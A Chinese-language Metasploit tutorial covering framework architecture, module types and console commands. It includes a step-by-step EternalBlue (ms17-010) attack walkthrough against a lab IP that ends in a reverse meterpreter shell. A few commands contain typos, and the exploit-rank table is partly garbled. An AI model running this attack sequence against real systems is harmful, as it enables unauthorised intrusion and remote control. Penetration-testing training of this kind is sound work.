Metasploit基础教程
Metasploit 介绍
Metasploit是一款开源的安全漏洞检测工具。它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。
Metasploit 体系框架
基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rex,framework-core 和 framework-base 三部分。
- Rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实 现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等;
- framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口;
- framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面 的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
模块:模块组织按照不同的用途分为 6 种类型的模块(Modules): 分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、 编码器模块(Encoders)、空指令模块(Nops)。
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。
插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面 以及 msfapi 远程调用接口。
功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。
Metasploit 漏洞模块
Metasploit 漏洞利用的显示信息如下:
其中rank是指漏洞的可靠性:
Ranking | Description |
---|---|
Excellent | 这个漏洞永远不会使服务崩溃。这是SQL注入,CMD执行,RFI,LFI等的情况。没有典型的内存损坏漏洞应该给这个rank,除非有特殊情况 |
Great | 应用程序的返回地址。 |
Good | 该exploit具有默认目标,这是这种类型的软件(英语,桌面应用程序的Windows 7,2012的服务器等)的“常见情况”。 |
Normal | 这个漏洞是可靠的,但取决于一个特定的版本,不能(或不)可靠地自动检测。这个 |
Average | exploit通常是不可靠或者很难被利用的。 |
Low | 对于通用平台来说,exploit几乎不可能(或者低于50%的成功率)成功。 |
ManualRanking | 这个exploit不稳定或难以exploit,基本上是一个DoS。当模块没有用处,除非用户特别配置(例如exploit /unix/webapp/php_eval),这个排名也被使用。 |
Metasploitable2-Linux 靶机系统介绍
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。
Metasploit 基本使用方法
启动Metasploit
Metasploit 程序需要使用 Postgresql 数据库。
启动数据库:
systemctl start postgresq
systemctl enable postgresql #可以设置成开机启动数据库
启动 Metasploit,启动方式有两种:
- 直接点击kali应用里面的图标
- 使用指令
msfconsle
启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。
Metasploit 基本命令
使用help
命令查看帮助信息,msf 相关命令可以分成以下类型:
- Core Commands:核心命令
- Module Commands:模块命令
- Job Commands:后台任务命令
- Resource Script Commands:资源脚本命令
- Database Backend Commands:数据库后端命令
- Credentials Backend Commands:证书/凭证后端命令
- Developer Commands:开发人员命令
connect
connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是connect 192.168.1.1 80
example:
msf5 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get /
[*] Connected to xuegod.cn:80
get / #提交一个 get 请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 29 Jun 2019 09:54:16 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
show
用于展示可用模块,有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options
example:
msf5 > show exploits # 列出 metasploit 框架中的所有渗透攻击模块
msf5 > show payloads #列出 metasploit 框架中的所有攻击载荷。
msf5 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷
search
用于搜索模块内容
example:
- 直接查找 search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述很清楚时,使用这个方法
msf6 > search ms08_067
- 通过名字进行查找
msf6 > search name:mysql #要查找mysql数据库的漏洞
- 通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令
查找在该路径 下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入:
msf6 > search path:mysql
- 通过作用平台进行查找
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
msf6 > search platform:mysql
- 通过类型进行查找
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
msf6 > search type:exploit
- 联合查找
大家可以使用上面的参数自行搭配使用。
msf6 > search name:mysql type:exploit
- 通过CVE进行搜索
msf6 > search cve:CVE-2017-8464
搜索参数可以组合使用,可以更精准的查询到对应的模块,metasploit 支持模糊查找,不区分大小写,这样大家查找时更方便。
use
使用具体某个模块
msf6 > use windows/smb/ms08_067_netapi
我们可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。稍后我们使用这个模 块进行攻击。
back
退出当前调用的模块
info
显示模块相关信息
example:
info + 模块名称
msf6 > use windows/smb/ms08_067_netapi
- 装载模块后直接使用
info
从弹出的消息中,需要重点关注的内容是:
(1)可用目标(available targets):就是查看可以攻击哪些操作系统
(2)基本选项(Basic options): 调用漏洞需要的相关参数
(3)描述(Description):漏洞描述和执行过程
(4)参考文档(References)
同样可以使用show
命令查看模块相关信息
- 查看模块选项:
msf6 exploit(windows/smb/ms08_067_netapi) > show options
- 查看可攻击目标系统
msf6 exploit(windows/smb/ms08_067_netapi) > show targets
set
用于设置选项中的参数
example:
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.91.1
exploit/run
配置好选项参数之后发起攻击
Metasploit攻击流程
Metasploit攻击流程如下
search xxx #搜索某个漏洞
use xxx #使用某个漏洞利用模块
show options #查看配置选项
set payload #配置攻击载荷
exploit #执行渗透攻击
- 我们先使用namp网络扫描工具对特定网段进行扫描,对扫描出来的IP和端口进行识别服务,
- 然后针对特定端口上的服务使用Metasploit的辅助攻击模块(Auxiliary)扫描该端口是否存在某个特定的漏洞
- 得知存在漏洞后利用攻击模块(Exploits)发起攻击
example:
假设已经有某台特定主机IP:192.168.91.158,想利用永恒之蓝漏洞(ms17-010)进行攻击
- 先扫描目标是否存在 ms17-010 漏洞
msf6 > search ms17-010 # 搜索辅助攻击模块
- 使用 use 命令选中这个模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
- 查看模块需要配置的信息
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
- 需要我们配置 RHOST 主机 IP
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.91.158
- 开始扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
显示目标看起来易受攻击,也就表示可能存在相关漏洞
- 查找并使用攻击模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > search ms17_010
这里提示没有选择payload,默认使用 windows/x64/meterpreter/reverse_tcp 作为 payload
- 查看选项
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
- 设置目标主机IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.91.158
- 设置 payload,这里选择默认的反弹shell
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell
10 . 设置反弹shell的监听IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.91.128
- 开始攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
成功反弹shell。
会话管理
Metasploit 能够保存会话,可就是能够保存曾经攻击过的靶机保持其链接:
sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -K id #终止某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
在利用的时候想让程序后台运行可使用:
exploit -j
之后再使用sessions
即可看到会话;
进入某个会话之后想返回但是不断开链接可以使用background
命令